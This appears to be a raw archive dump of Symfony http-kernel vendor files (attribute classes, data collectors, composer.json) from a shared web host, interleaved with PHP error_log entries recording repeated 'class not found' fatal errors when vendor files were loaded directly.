/home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php on line 24 [19-Nov-2025 23:29:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php on line 22 [19-Nov-2025 23:30:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php on line 20 [19-Nov-2025 23:46:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php on line 24 [25-Nov-2025 03:02:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php on line 22 [25-Nov-2025 03:29:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php on line 20 [25-Nov-2025 05:29:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php on line 24 [25-Nov-2025 05:30:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php on line 24 [26-Nov-2025 01:36:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php on line 24 [26-Nov-2025 01:52:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php on line 20 [26-Nov-2025 01:55:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php on line 24 [26-Nov-2025 01:55:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php on line 22 http-kernel/Attribute/Cache.php000064400000004511151113511600012453 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; /** * Describes the default HTTP cache headers on controllers. * * @author Fabien Potencier */ #[\Attribute(\Attribute::TARGET_CLASS | \Attribute::TARGET_METHOD | \Attribute::TARGET_FUNCTION)] final class Cache { public function __construct( /** * The expiration date as a valid date for the strtotime() function. */ public ?string $expires = null, /** * The number of seconds that the response is considered fresh by a private * cache like a web browser. */ public int|string|null $maxage = null, /** * The number of seconds that the response is considered fresh by a public * cache like a reverse proxy cache. */ public int|string|null $smaxage = null, /** * Whether the response is public or not. */ public ?bool $public = null, /** * Whether or not the response must be revalidated. */ public bool $mustRevalidate = false, /** * Additional "Vary:"-headers. */ public array $vary = [], /** * An expression to compute the Last-Modified HTTP header. */ public ?string $lastModified = null, /** * An expression to compute the ETag HTTP header. */ public ?string $etag = null, /** * max-stale Cache-Control header * It can be expressed in seconds or with a relative time format (1 day, 2 weeks, ...). */ public int|string|null $maxStale = null, /** * stale-while-revalidate Cache-Control header * It can be expressed in seconds or with a relative time format (1 day, 2 weeks, ...). */ public int|string|null $staleWhileRevalidate = null, /** * stale-if-error Cache-Control header * It can be expressed in seconds or with a relative time format (1 day, 2 weeks, ...). */ public int|string|null $staleIfError = null, ) { } } http-kernel/Attribute/MapRequestPayload.php000064400000002176151113511600015055 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\RequestPayloadValueResolver; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\Validator\Constraints\GroupSequence; /** * Controller parameter tag to map the request content to typed object and validate it. * * @author Konstantin Myakshin */ #[\Attribute(\Attribute::TARGET_PARAMETER)] class MapRequestPayload extends ValueResolver { public ArgumentMetadata $metadata; public function __construct( public readonly array|string|null $acceptFormat = null, public readonly array $serializationContext = [], public readonly string|GroupSequence|array|null $validationGroups = null, string $resolver = RequestPayloadValueResolver::class, ) { parent::__construct($resolver); } } http-kernel/Attribute/AsTargetedValueResolver.php000064400000001012151113511600016203 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; /** * Service tag to autoconfigure targeted value resolvers. */ #[\Attribute(\Attribute::TARGET_CLASS)] class AsTargetedValueResolver { public function __construct( public readonly ?string $name = null, ) { } } http-kernel/Attribute/MapQueryString.php000064400000002107151113511600014401 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\RequestPayloadValueResolver; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\Validator\Constraints\GroupSequence; /** * Controller parameter tag to map the query string of the request to typed object and validate it. * * @author Konstantin Myakshin */ #[\Attribute(\Attribute::TARGET_PARAMETER)] class MapQueryString extends ValueResolver { public ArgumentMetadata $metadata; public function __construct( public readonly array $serializationContext = [], public readonly string|GroupSequence|array|null $validationGroups = null, string $resolver = RequestPayloadValueResolver::class, ) { parent::__construct($resolver); } } http-kernel/composer.json000064400000005174151113511600011524 0ustar00{ "name": "symfony/http-kernel", "type": "library", "description": "Provides a structured process for converting a Request into a Response", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/deprecation-contracts": "^2.5|^3", "symfony/error-handler": "^6.3", "symfony/event-dispatcher": "^5.4|^6.0", "symfony/http-foundation": "^6.3.4", "symfony/polyfill-ctype": "^1.8", "psr/log": "^1|^2|^3" }, "require-dev": { "symfony/browser-kit": "^5.4|^6.0", "symfony/clock": "^6.2", "symfony/config": "^6.1", "symfony/console": "^5.4|^6.0", "symfony/css-selector": "^5.4|^6.0", "symfony/dependency-injection": "^6.3.4", "symfony/dom-crawler": "^5.4|^6.0", "symfony/expression-language": "^5.4|^6.0", "symfony/finder": "^5.4|^6.0", "symfony/http-client-contracts": "^2.5|^3", "symfony/process": "^5.4|^6.0", "symfony/property-access": "^5.4.5|^6.0.5", "symfony/routing": "^5.4|^6.0", "symfony/serializer": "^6.3", "symfony/stopwatch": "^5.4|^6.0", "symfony/translation": "^5.4|^6.0", "symfony/translation-contracts": "^2.5|^3", "symfony/uid": "^5.4|^6.0", "symfony/validator": "^6.3", "symfony/var-exporter": "^6.2", "psr/cache": "^1.0|^2.0|^3.0", "twig/twig": "^2.13|^3.0.4" }, "provide": { "psr/log-implementation": "1.0|2.0|3.0" }, "conflict": { "symfony/browser-kit": "<5.4", "symfony/cache": "<5.4", "symfony/config": "<6.1", "symfony/console": "<5.4", "symfony/form": "<5.4", "symfony/dependency-injection": "<6.3.4", "symfony/doctrine-bridge": "<5.4", "symfony/http-client": "<5.4", "symfony/http-client-contracts": "<2.5", "symfony/mailer": "<5.4", "symfony/messenger": "<5.4", "symfony/translation": "<5.4", "symfony/translation-contracts": "<2.5", "symfony/twig-bridge": "<5.4", "symfony/validator": "<5.4", "symfony/var-dumper": "<6.3", "twig/twig": "<2.13" }, "autoload": { "psr-4": { "Symfony\\Component\\HttpKernel\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } http-kernel/DataCollector/DataCollectorInterface.php000064400000001600151113511600016562 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Contracts\Service\ResetInterface; /** * DataCollectorInterface. * * @author Fabien Potencier */ interface DataCollectorInterface extends ResetInterface { /** * Collects data for the given Request and Response. * * @return void */ public function collect(Request $request, Response $response, \Throwable $exception = null); /** * Returns the name of the collector. * * @return string */ public function getName(); } http-kernel/DataCollector/TimeDataCollector.php000064400000006556151113511600015577 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\KernelInterface; use Symfony\Component\Stopwatch\Stopwatch; use Symfony\Component\Stopwatch\StopwatchEvent; /** * @author Fabien Potencier * * @final */ class TimeDataCollector extends DataCollector implements LateDataCollectorInterface { private ?KernelInterface $kernel; private ?Stopwatch $stopwatch; public function __construct(KernelInterface $kernel = null, Stopwatch $stopwatch = null) { $this->kernel = $kernel; $this->stopwatch = $stopwatch; $this->data = ['events' => [], 'stopwatch_installed' => false, 'start_time' => 0]; } public function collect(Request $request, Response $response, \Throwable $exception = null): void { if (null !== $this->kernel) { $startTime = $this->kernel->getStartTime(); } else { $startTime = $request->server->get('REQUEST_TIME_FLOAT'); } $this->data = [ 'token' => $request->attributes->get('_stopwatch_token'), 'start_time' => $startTime * 1000, 'events' => [], 'stopwatch_installed' => class_exists(Stopwatch::class, false), ]; } public function reset(): void { $this->data = ['events' => [], 'stopwatch_installed' => false, 'start_time' => 0]; $this->stopwatch?->reset(); } public function lateCollect(): void { if (null !== $this->stopwatch && isset($this->data['token'])) { $this->setEvents($this->stopwatch->getSectionEvents($this->data['token'])); } unset($this->data['token']); } /** * @param StopwatchEvent[] $events The request events */ public function setEvents(array $events): void { foreach ($events as $event) { $event->ensureStopped(); } $this->data['events'] = $events; } /** * @return StopwatchEvent[] */ public function getEvents(): array { return $this->data['events']; } /** * Gets the request elapsed time. */ public function getDuration(): float { if (!isset($this->data['events']['__section__'])) { return 0; } $lastEvent = $this->data['events']['__section__']; return $lastEvent->getOrigin() + $lastEvent->getDuration() - $this->getStartTime(); } /** * Gets the initialization time. * * This is the time spent until the beginning of the request handling. */ public function getInitTime(): float { if (!isset($this->data['events']['__section__'])) { return 0; } return $this->data['events']['__section__']->getOrigin() - $this->getStartTime(); } public function getStartTime(): float { return $this->data['start_time']; } public function isStopwatchInstalled(): bool { return $this->data['stopwatch_installed']; } public function getName(): string { return 'time'; } } http-kernel/DataCollector/ConfigDataCollector.php000064400000016271151113511600016101 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Kernel; use Symfony\Component\HttpKernel\KernelInterface; use Symfony\Component\VarDumper\Caster\ClassStub; /** * @author Fabien Potencier * * @final */ class ConfigDataCollector extends DataCollector implements LateDataCollectorInterface { private KernelInterface $kernel; /** * Sets the Kernel associated with this Request. */ public function setKernel(KernelInterface $kernel = null): void { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-kernel', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->kernel = $kernel; } public function collect(Request $request, Response $response, \Throwable $exception = null): void { $eom = \DateTimeImmutable::createFromFormat('d/m/Y', '01/'.Kernel::END_OF_MAINTENANCE); $eol = \DateTimeImmutable::createFromFormat('d/m/Y', '01/'.Kernel::END_OF_LIFE); $this->data = [ 'token' => $response->headers->get('X-Debug-Token'), 'symfony_version' => Kernel::VERSION, 'symfony_minor_version' => sprintf('%s.%s', Kernel::MAJOR_VERSION, Kernel::MINOR_VERSION), 'symfony_lts' => 4 === Kernel::MINOR_VERSION, 'symfony_state' => $this->determineSymfonyState(), 'symfony_eom' => $eom->format('F Y'), 'symfony_eol' => $eol->format('F Y'), 'env' => isset($this->kernel) ? $this->kernel->getEnvironment() : 'n/a', 'debug' => isset($this->kernel) ? $this->kernel->isDebug() : 'n/a', 'php_version' => \PHP_VERSION, 'php_architecture' => \PHP_INT_SIZE * 8, 'php_intl_locale' => class_exists(\Locale::class, false) && \Locale::getDefault() ? \Locale::getDefault() : 'n/a', 'php_timezone' => date_default_timezone_get(), 'xdebug_enabled' => \extension_loaded('xdebug'), 'apcu_enabled' => \extension_loaded('apcu') && filter_var(\ini_get('apc.enabled'), \FILTER_VALIDATE_BOOL), 'zend_opcache_enabled' => \extension_loaded('Zend OPcache') && filter_var(\ini_get('opcache.enable'), \FILTER_VALIDATE_BOOL), 'bundles' => [], 'sapi_name' => \PHP_SAPI, ]; if (isset($this->kernel)) { foreach ($this->kernel->getBundles() as $name => $bundle) { $this->data['bundles'][$name] = new ClassStub($bundle::class); } } if (preg_match('~^(\d+(?:\.\d+)*)(.+)?$~', $this->data['php_version'], $matches) && isset($matches[2])) { $this->data['php_version'] = $matches[1]; $this->data['php_version_extra'] = $matches[2]; } } public function reset(): void { $this->data = []; } public function lateCollect(): void { $this->data = $this->cloneVar($this->data); } /** * Gets the token. */ public function getToken(): ?string { return $this->data['token']; } /** * Gets the Symfony version. */ public function getSymfonyVersion(): string { return $this->data['symfony_version']; } /** * Returns the state of the current Symfony release * as one of: unknown, dev, stable, eom, eol. */ public function getSymfonyState(): string { return $this->data['symfony_state']; } /** * Returns the minor Symfony version used (without patch numbers of extra * suffix like "RC", "beta", etc.). */ public function getSymfonyMinorVersion(): string { return $this->data['symfony_minor_version']; } public function isSymfonyLts(): bool { return $this->data['symfony_lts']; } /** * Returns the human readable date when this Symfony version ends its * maintenance period. */ public function getSymfonyEom(): string { return $this->data['symfony_eom']; } /** * Returns the human readable date when this Symfony version reaches its * "end of life" and won't receive bugs or security fixes. */ public function getSymfonyEol(): string { return $this->data['symfony_eol']; } /** * Gets the PHP version. */ public function getPhpVersion(): string { return $this->data['php_version']; } /** * Gets the PHP version extra part. */ public function getPhpVersionExtra(): ?string { return $this->data['php_version_extra'] ?? null; } public function getPhpArchitecture(): int { return $this->data['php_architecture']; } public function getPhpIntlLocale(): string { return $this->data['php_intl_locale']; } public function getPhpTimezone(): string { return $this->data['php_timezone']; } /** * Gets the environment. */ public function getEnv(): string { return $this->data['env']; } /** * Returns true if the debug is enabled. * * @return bool|string true if debug is enabled, false otherwise or a string if no kernel was set */ public function isDebug(): bool|string { return $this->data['debug']; } /** * Returns true if the Xdebug is enabled. */ public function hasXdebug(): bool { return $this->data['xdebug_enabled']; } /** * Returns true if the function xdebug_info is available. */ public function hasXdebugInfo(): bool { return \function_exists('xdebug_info'); } /** * Returns true if APCu is enabled. */ public function hasApcu(): bool { return $this->data['apcu_enabled']; } /** * Returns true if Zend OPcache is enabled. */ public function hasZendOpcache(): bool { return $this->data['zend_opcache_enabled']; } public function getBundles() { return $this->data['bundles']; } /** * Gets the PHP SAPI name. */ public function getSapiName(): string { return $this->data['sapi_name']; } public function getName(): string { return 'config'; } private function determineSymfonyState(): string { $now = new \DateTimeImmutable(); $eom = \DateTimeImmutable::createFromFormat('d/m/Y', '01/'.Kernel::END_OF_MAINTENANCE)->modify('last day of this month'); $eol = \DateTimeImmutable::createFromFormat('d/m/Y', '01/'.Kernel::END_OF_LIFE)->modify('last day of this month'); if ($now > $eol) { $versionState = 'eol'; } elseif ($now > $eom) { $versionState = 'eom'; } elseif ('' !== Kernel::EXTRA_VERSION) { $versionState = 'dev'; } else { $versionState = 'stable'; } return $versionState; } } http-kernel/DataCollector/EventDataCollector.php000064400000010422151113511600015745 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\VarDumper\Cloner\Data; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; use Symfony\Contracts\Service\ResetInterface; /** * @author Fabien Potencier * * @see TraceableEventDispatcher * * @final */ class EventDataCollector extends DataCollector implements LateDataCollectorInterface { /** @var iterable */ private iterable $dispatchers; private ?Request $currentRequest = null; /** * @param iterable|EventDispatcherInterface|null $dispatchers */ public function __construct( iterable|EventDispatcherInterface $dispatchers = null, private ?RequestStack $requestStack = null, private string $defaultDispatcher = 'event_dispatcher', ) { if ($dispatchers instanceof EventDispatcherInterface) { $dispatchers = [$this->defaultDispatcher => $dispatchers]; } $this->dispatchers = $dispatchers ?? []; $this->requestStack = $requestStack; } public function collect(Request $request, Response $response, \Throwable $exception = null): void { $this->currentRequest = $this->requestStack && $this->requestStack->getMainRequest() !== $request ? $request : null; $this->data = []; } public function reset(): void { $this->data = []; foreach ($this->dispatchers as $dispatcher) { if ($dispatcher instanceof ResetInterface) { $dispatcher->reset(); } } } public function lateCollect(): void { foreach ($this->dispatchers as $name => $dispatcher) { if (!$dispatcher instanceof TraceableEventDispatcher) { continue; } $this->setCalledListeners($dispatcher->getCalledListeners($this->currentRequest), $name); $this->setNotCalledListeners($dispatcher->getNotCalledListeners($this->currentRequest), $name); $this->setOrphanedEvents($dispatcher->getOrphanedEvents($this->currentRequest), $name); } $this->data = $this->cloneVar($this->data); } public function getData(): array|Data { return $this->data; } /** * @see TraceableEventDispatcher */ public function setCalledListeners(array $listeners, string $dispatcher = null): void { $this->data[$dispatcher ?? $this->defaultDispatcher]['called_listeners'] = $listeners; } /** * @see TraceableEventDispatcher */ public function getCalledListeners(string $dispatcher = null): array|Data { return $this->data[$dispatcher ?? $this->defaultDispatcher]['called_listeners'] ?? []; } /** * @see TraceableEventDispatcher */ public function setNotCalledListeners(array $listeners, string $dispatcher = null): void { $this->data[$dispatcher ?? $this->defaultDispatcher]['not_called_listeners'] = $listeners; } /** * @see TraceableEventDispatcher */ public function getNotCalledListeners(string $dispatcher = null): array|Data { return $this->data[$dispatcher ?? $this->defaultDispatcher]['not_called_listeners'] ?? []; } /** * @param array $events An array of orphaned events * * @see TraceableEventDispatcher */ public function setOrphanedEvents(array $events, string $dispatcher = null): void { $this->data[$dispatcher ?? $this->defaultDispatcher]['orphaned_events'] = $events; } /** * @see TraceableEventDispatcher */ public function getOrphanedEvents(string $dispatcher = null): array|Data { return $this->data[$dispatcher ?? $this->defaultDispatcher]['orphaned_events'] ?? []; } public function getName(): string { return 'events'; } } http-kernel/DataCollector/RouterDataCollector.php000064400000004551151113511610016153 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\DataCollector; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Event\ControllerEvent; /** * @author Fabien Potencier */ class RouterDataCollector extends DataCollector { /** * @var \SplObjectStorage */ protected $controllers; public function __construct() { $this->reset(); } /** * @final */ public function collect(Request $request, Response $response, \Throwable $exception = null): void { if ($response instanceof RedirectResponse) { $this->data['redirect'] = true; $this->data['url'] = $response->getTargetUrl(); if ($this->controllers->contains($request)) { $this->data['route'] = $this->guessRoute($request, $this->controllers[$request]); } } unset($this->controllers[$request]); } /** * @return void */ public function reset() { $this->controllers = new \SplObjectStorage(); $this->data = [ 'redirect' => false, 'url' => null, 'route' => null, ]; } /** * @return string */ protected function guessRoute(Request $request, string|object|array $controller) { return 'n/a'; } /** * Remembers the controller associated to each request. * * @return void */ public function onKernelController(ControllerEvent $event) { $this->controllers[$event->getRequest()] = $event->getController(); } /** * @return bool Whether this request will result in a redirect */ public function getRedirect(): bool { return $this->data['redirect']; } public function getTargetUrl(): ?string { return $this->data['url']; } public function getTargetRoute(): ?string { return $this->data['route']; } public function getName(): string { return 'router'; } } http-kernel/DataCollector/error_log000064400000040416151113511610013436 0ustar00[19-Nov-2025 12:04:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php on line 32 [19-Nov-2025 12:04:30 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/TimeDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/TimeDataCollector.php on line 25 [19-Nov-2025 12:04:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php on line 25 [19-Nov-2025 12:05:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php on line 22 [19-Nov-2025 12:06:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php on line 25 [19-Nov-2025 12:07:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php on line 22 [19-Nov-2025 12:08:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php on line 32 [19-Nov-2025 12:11:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php on line 29 [19-Nov-2025 12:15:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php on line 22 [19-Nov-2025 12:21:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php on line 23 [19-Nov-2025 18:07:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php on line 32 [19-Nov-2025 18:07:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/TimeDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/TimeDataCollector.php on line 25 [19-Nov-2025 18:07:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ConfigDataCollector.php on line 25 [19-Nov-2025 18:08:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/AjaxDataCollector.php on line 22 [19-Nov-2025 18:09:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/LoggerDataCollector.php on line 25 [19-Nov-2025 18:11:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/DumpDataCollector.php on line 32 [19-Nov-2025 18:15:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/EventDataCollector.php on line 29 [19-Nov-2025 18:17:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RouterDataCollector.php on line 22 [19-Nov-2025 18:20:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/MemoryDataCollector.php on line 22 [19-Nov-2025 18:21:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/ExceptionDataCollector.php on line 23 [25-Nov-2025 02:35:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/DataCollector/RequestDataCollector.php on line 32 